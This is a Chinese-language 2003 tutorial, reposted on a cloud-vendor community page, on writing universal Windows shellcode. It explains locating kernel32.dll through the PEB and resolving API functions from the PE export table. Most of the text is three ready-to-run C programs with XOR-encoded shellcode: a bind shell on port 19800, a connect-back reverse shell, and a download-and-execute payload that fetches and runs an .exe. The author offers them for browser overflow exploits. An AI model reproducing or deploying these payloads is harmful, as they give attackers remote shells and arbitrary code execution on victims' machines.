【原理】Shellcode編寫技術

來源:互聯網
上載者:User
Shellcode編寫技術

建立時間:2003-08-31
文章屬性:原創
文章提交:jeno (xxgchappy_at_vip.sina.com)

作者:jeno
Email: jeno@vip.371.net
Time: 2003-8-31

Title:Shellcode編寫技術

    前些日子在調試http://www.microsoft.com/technet/security/bulletin/MS03-015.asp
的時候遇到了比較苦惱的事情,那就是我通過覆蓋了eip或者seh來得到執行代碼的權利,但是
現在網上流行的shellcode不能滿足我的要求,主要有以下幾個方面:
1、不通用,一般只能在win2000下運行,很少可以在winxp,win2003下正常運行。
2、沒有處理好程式退出問題,在ie溢出的時候同時把ie給異常結束了。
3、有些代碼太長,甚至達到了1000位元組以上。
4、再不同語言環境下可能不通用。

由於有了上面四點原因,我打算寫個通用的shellcode來用。其實shellcode通不通用最重要的是
獲得一些地址的方法,看了很多人寫的shellcode總覺得不是太好,因為他們大都採用在peb中找
出kernel32的地址,然後在shellcode末尾有你需要函數的ascii碼,通過搜尋記憶體來找到地址,
我先說說為什麼可以在peb中找到kernel32的地址:
1、fs指向teb結構
2、在teb+0x30地方指向peb結構
3、在peb+0x0c地方指向PEB_LDR_DATA結構
4、在PEB_LDR_DATA+0x1c地方就是一些動態串連庫的地址了,如第一個指向ntdll.dll 第二個就
   是我們需要的kernel32.dll的地址
  
以下是彙編代碼
mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd                
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

一般shellcode獲得函數的方法用彙編表示如下:

search_function:

inc ebx
cmp [ebx], dl
jne  no_zero
inc  ecx
no_zero:
cmp [ebx], DWORD PTR 'PteG'
jne no_match
cmp [ebx+4], DWORD PTR 'Acor'
        jne no_match
        je  search_complete
no_match:
jmp search_function

ebx 中放的是 esi:0的東西一般是一個base address
如 db 0ffh,0ffh,0e8h,077h      ;Specify the Kernel Base @ 77e60000h
這就是造成一般shellcode不通用的主要原因(固定地址)

為了達到通用的目的我們必須分析pe檔案格式,通過分析我們得到如下方法:
從PE EDT中獲得函數地址
1、PE header offset =kernel32.dll base address+0x3c;
2、exports directory offset =kernel32.dll base address+PE header offset+120;
3、exports directory table=kernel32.dll base address+exports directory offset;
4、name pointers table =exports directory table+32;
5、然後再name pointers table中比較函數的名字(可以按名字比較,也可以把名字hash以下比較hash值)
6、ordinals table=exports directory table+36
7、ordinals table指向函數的地址,所以根據對應的序號通過ordinals table找到函數的地址

給出搜尋彙編代碼
        mov ebp, [somewhere]            kernel32.dll 基址
    mov eax, [ebp + 0x3c]        eax = PE header offset
    mov edx, [ebp + eax + 120]
    add edx, ebp                edx = exports directory table
    mov ecx, [edx + 24]            ecx = number of name pointers
    mov ebx, [edx + 32]
    add ebx, ebp                ebx = name pointers table
        dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp            esi 就是指向 name pointer
下面搜尋就可以自己寫了,天高任鳥飛!

心得:
    1、再寫網路shellcode時最好加上WairForSingleObject
    2、不要忘了ExitProcess,可以避免很多程式錯誤。
    3、代碼通過xor99後不要有0A,因為在ie溢出中會對0A轉換成0D0A在copy字串的時候就會縮短。
好了就寫這些吧!希望對大家會有所啟發!

附我寫的三個通用shellcode:

1、bindport 19800

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define    scport        19800
//don't change the offset

#define    port_offset    251
unsigned char jeno_bindport19800_sc[] =
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/xd9/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x18/x75/x19/x99/x99/x99/x12/x6D/x71"
"/xD5/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xFF/x98"
"/x99/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/xCE/x98/x99"
"/x99/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE"
"/xEA/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A"
"/x8F/x71/xAB/x98/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA"
"/x71/xBA/x98/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2"
"/x71/x8A/x98/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34"
"/x71/x9A/x98/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x3D/x83/xE9/x5E"
"/x71/x6A/x99/x99/x99/x10/xDF/xB9/x66/xEF/x9D/xF1/x3D/x34/xB7/x70"
"/x71/x7A/x99/x99/x99/x10/xDF/xBD/x66/xEF/x9D/xF1/x7C/xD0/x1F/xD0"
"/x71/x4A/x99/x99/x99/x10/xDF/xB1/x66/xEF/x9D/xF1/x7E/xE0/x5F/xE0"
"/x71/x5A/x99/x99/x99/x10/xDF/xB5/xAA/x66/x18/x75/x09/x98/x99/x99"
"/xCD/xF1/x98/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9"
"/xC9/x66/xCF/x85/x12/x41/xCE/xCE/xF1/x9B/x99/xd4/xc1/x12/x55/xF3"
"/x8F/xC8/xCA/x66/xCF/xB9/xCE/xCA/x66/xCF/xBD/xCE/xC8/xCA/x66/xCF"
"/xB1/x12/x49/xF1/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9"
"/x1A/x75/xCD/x14/xA5/xBD/xAA/x59/xAA/x50/x1A/x58/x8C/x32/x7B/x64"
"/x5F/xDD/xBD/x89/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xCD/xBD"
"/xD1/x10/xCD/xBD/xD5/x10/xCD/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8"
"/xC8/xC8/xD8/xC8/xD0/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55"
"/xF3/x66/x66/xA8/x66/xCF/x95/x12/x51/xCE/x66/xCF/xB5/x66/xCF/x8D"
"/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12"
"/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99"
"/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81"
"/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A"
"/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3"
"/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78"
"/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D"
"/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99";

//bindport 19800

int main(int argc, char **argv)
{

    WSADATA wsa;
    
    unsigned short    port;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    memcpy(&jeno_bindport19800_sc[port_offset], &port, 2);
  
    

((void (*)(void)) &jeno_bindport19800_sc)();

}

2、Reverse shellcode  default connect back 127.0.0.1 1980

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define   scip        "127.0.0.1"
#define    scport        1980
//don't change the offset
#define    ip_offset    201
#define    port_offset    208
unsigned char jeno_connectback_sc[]=
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x9f/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/xFF/x18/x75/x19/x99/x12/x6D/x71/x8A"
"/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xB4/x98/x99"
"/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/x87/x98/x99/x99"
"/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE/xEA"
"/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A/x8F"
"/x71/x60/x99/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA/x71"
"/x73/x99/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2/x71"
"/x43/x99/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34/x71"
"/x53/x99/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x75/x60/x33/xF9/x71"
"/x23/x99/x99/x99/x10/xDF/xB9/x18/x75/x09/x98/x99/x99/xCD/xF1/x98"
"/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9/xC9/x66/xCF"
"/x85/x12/x41/x72/x9A/x66/xCF/x8D/xF1/xE6/x99/x99/x98/xF1/x9B/x99"
"/x9e/x25/x12/x55/xF3/x89/xC8/xCA/x66/xCF/xB9/x1C/x59/xEC/x7F/xF1"
"/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9/x1A/x5D/x35/x14"
"/xA5/xBD/xAA/x59/xAA/x50/x19/x70/x72/x32/x7B/x64/x5F/xDD/xBD/x89"
"/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xC5/xBD/xD1/x10/xC5/xBD"
"/xD5/x10/xC5/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8/xC8/xC8/xF3/x98"
"/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55/xF3/x66/x66/xA8/x66"
"/xCF/x95/x12/x51/x72/x16/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59"
"/xE1/x95/x12/xD9/x95/x12/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9"
"/xAD/x12/x31/x21/x99/x99/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC"
"/xCF/xCE/x12/xF5/xBD/x81/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12"
"/xD3/x81/x12/xC3/xB9/x9A/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA"
"/x66/x65/xAA/x59/x35/xA3/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B"
"/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12"
"/xC3/x85/x9A/x44/x12/x9D/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6"
"/xC7/xC4/xC2/x5B/x9D/x99";

main()
{
    WSADATA wsa;
    
    unsigned short    port;
    unsigned long ip;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    ip = inet_addr(scip)^0x99999999;
    memcpy(&jeno_connectback_sc[port_offset], &port, 2);
    memcpy(&jeno_connectback_sc[ip_offset], &ip, 4);
    

((void (*)(void)) &jeno_connectback_sc)();
    

    return 0;
}

3、Download&&executeShellcode

#include <winsock.h>
#include <stdio.h>

unsigned char jeno_downloadfile_sc[]=

"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x3c/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x70/x34/x99/x99/x99/xC3/x12/x6B/xAA"
"/x59/x35/xA4/x01/x99/x99/x99/xEC/x6F/x18/x75/x51/x99/x99/x99/x12"
"/x6D/x10/xCF/xBD/x71/x0C/x99/x99/x99/xAA/x42/x10/x9F/x66/xAF/xF1"
"/x17/xD7/x97/x75/x71/x34/x99/x99/x99/x10/xDF/x91/xF1/xF5/xF5/x99"
"/x99/xF1/xF6/xF7/xB7/xFD/xF1/xEC/xEB/xF5/xF4/xCD/x66/xCF/x91/x10"
"/xDF/x9D/x66/xAF/xF1/xE7/x41/x7B/xEA/x71/x11/x99/x99/x99/x10/xDF"
"/x95/x66/xAF/xF1/x01/x67/x13/x97/x71/xE0/x99/x99/x99/x10/xDF/x8D"
"/x66/xAF/xF1/xBC/x29/x66/x5B/x71/xF3/x99/x99/x99/x10/xDF/x81/x66"
"/xEF/x9D/xF1/xAF/x83/xB6/xE9/x71/xC3/x99/x99/x99/x10/xDF/x89/xF3"
"/xFC/xF1/xEA/xB7/xFC/xE1/x10/xFF/x85/x66/xEF/x85/x66/xCF/x81/xAA"
"/x50/xC8/xC8/x66/xEF/x85/x66/xEF/xBD/xC8/x66/xCF/x89/xAA/x50/xC8"
"/x66/xEF/x85/x66/xCF/x8D/x66/xCF/x95/x70/x19/x99/x99/x99/xCC/xCF"
"/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12/xE9/x85"
"/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99/x99/x12"
"/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81/x12/xDC"
"/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A/x44/x7A"
"/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3/x5D/xED"
"/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3"
"/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D/x12/x9A"
"/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99/x71/x50"
"/x67/x66/x66"
"http://127.0.0.1/b.exe"
"/x98";

main()
{
  
((void (*)(void)) &jeno_downloadfile_sc)();
    
    return 0;
}

end.

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.